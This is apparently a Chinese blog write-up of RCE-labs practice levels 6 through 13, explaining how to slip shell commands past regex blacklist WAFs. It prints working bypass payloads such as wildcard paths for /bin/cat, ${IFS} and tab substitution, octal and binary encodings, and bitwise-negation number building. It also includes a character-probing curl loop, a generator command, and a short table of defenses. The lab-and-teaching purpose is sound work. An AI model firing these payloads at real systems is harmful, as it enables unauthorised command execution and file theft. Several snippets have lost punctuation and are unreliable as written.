从Level6到Level13:手把手带你绕过RCE靶场中的那些“奇葩”WAF

张开发
2026/4/12 10:55:42 15 分钟阅读

分享文章

从Level6到Level13:手把手带你绕过RCE靶场中的那些“奇葩”WAF
从Level6到Level13手把手带你绕过RCE靶场中的那些“奇葩”WAF在Web安全领域命令注入RCE始终是攻防双方博弈的焦点。当开发者试图通过WAF规则封锁危险字符时攻击者总能找到意想不到的绕过方式。本文将带你深入分析RCE-labs靶场Level6至Level13关卡中那些看似奇葩的WAF规则并拆解如何像侦探一样通过字符特性、系统机制和编码技巧构造有效Payload。1. WAF规则逆向工程方法论面对陌生WAF时系统化的分析流程比盲目尝试更重要。以下是经过实战验证的三步分析法字符黑名单测绘通过报错信息或响应差异逐步测试哪些字符被拦截。例如Level6的过滤规则if(preg_match(/[b-zA-Z_#%^*:{}\-\|;\[\]]/, $cmd)){ die(WAF!); }关键发现数字和小写字母a未被过滤这为通配符利用创造了条件。系统机制替代方案空格过滤 → 用${IFS}、%09或重定向符号替代斜杠过滤 → 用环境变量${PWD:0:1}获取根目录符号字母过滤 → 用八进制编码$\\\xxx\表示字符上下文逃逸技巧场景类型典型方案案例演示输出被屏蔽重定向到文件cat /flag /tmp/out命令被截断分号或注释符提前终止; cat /flag #多级过滤混合编码与变量替换Level13的取反构造数字提示实际测试时建议从简单字符开始逐步组合避免触发WAF的频次检测机制。2. 通配符的艺术当字母成为奢侈品Level6展示了一个极端案例——几乎所有字母都被禁止时如何执行命令。此时需要关注两个关键点Bash通配符的妙用/???/?a?这个神奇组合能够匹配/bin/cat其原理是?匹配任意单个字符*匹配任意长度字符但本例中被过滤通过排列组合可以精准定位目标二进制文件受限字符集的利用构造Payload时需要先确认可用字符# 可用字符检测脚本示例 for char in {!,,#,$,%,^,,*,(,),-,_,,,{,\},|,\,:,,,.,?,/}; do curl -s http://target/?cmdecho$char | grep -q WAF || echo 可用字符: $char done实战中更复杂的案例是Level7它仅过滤空格和flag关键词。此时需要# 空格替代方案 cat${IFS}/fla* # 使用内置变量 cat%09/fla* # URL编码的TAB catfla* # 重定向符号3. 编码的魔术从八进制到二进制当常规字符全军覆没时编码转换成为救命稻草。Level9-11演示了三种典型方案3.1 八进制ASCII编码Level9# 原始命令cat /flag $\143\141\164 $\57\146\154\141\147 # 生成工具原理 def oct_encode(cmd): return .join([$\\ oct(ord(c))[2:] for c in cmd])3.2 二进制整数替换Level10# 数字1和0未被过滤时 $((2#101010)) # 等于十进制42 $0$0\\\\$\\$(($((11))#1000111)) # 生成字母G3.3 数字1的变量替换Level11# 用${##}替代数字1 ${##} # 值为1 $((${##}${##})) # 1左移1位得到2二进制基数 $(($((${##}${##}))#${##}000${##})) # 二进制1000117注意二进制构造时需考虑URL编码问题#符号需要转换为%234. 数学魔法用取反构造任意数字Level13将绕过艺术推向新高度——当所有数字都被禁止时如何从零构造所需数字$(()) # 值为0 $((~$(()))) # 按位取反得到-1 $((~$((~$(()))))) # 对-1取反得到0 $(( $((~$(()))) $((~$(()))) )) # -1 -1 -2通过这种技巧可以累加出任意ASCII码。例如构造字母cASCII 99# 计算表达式生成算法 def generate_number(n): if n 0: return $(()) return $(( {} {} )).format( generate_number(abs(n)-1), $((~$(()))) if n0 else $(($((~$(()))) $((~$(()))))) ) # 生成字母c的表达式 generate_number(99) # 约200个字符的嵌套表达式5. 自动化工具与防御建议对于这类复杂绕过推荐使用开源工具提高效率BashFuck支持多种编码模式的Payload生成器python3 bashfuck.py -c cat /flag --level 13防御方案对比防御方式优点局限性白名单校验误报率低需要精确预知合法输入语法树分析能识别混淆代码实现复杂性能开销大沙箱执行动态检测危险行为可能被环境差异绕过命令执行监控实时阻断高风险操作需要精细配置规则阈值在实战中建议开发者采用纵深防御策略前端输入校验正则白名单后端参数化查询如subprocess.run([/bin/cat, filename])系统层级的权限控制最小权限原则6. 从靶场到实战的思维转换通过这8个关卡的训练我们应该建立起系统化的绕过思维字符维度测试所有可打印字符的过滤情况寻找未被过滤的黄金字符如Level6中的?编码维度尝试不同进制编码八进制/十六进制/Unicode利用变量替换构造关键字符系统维度研究Shell解析器的特性如重定向、管道利用环境变量存储关键数据上下文维度分析输出处理逻辑如Level8的重定向截断检测是否存在二次解析机会最后记住真正的安全防护不在于堆砌WAF规则而在于理解攻击者的思维模式。建议每解决一个靶场关卡后尝试站在防御者角度思考如何改进过滤策略这种双向思维训练才是提升安全能力的核心。

更多文章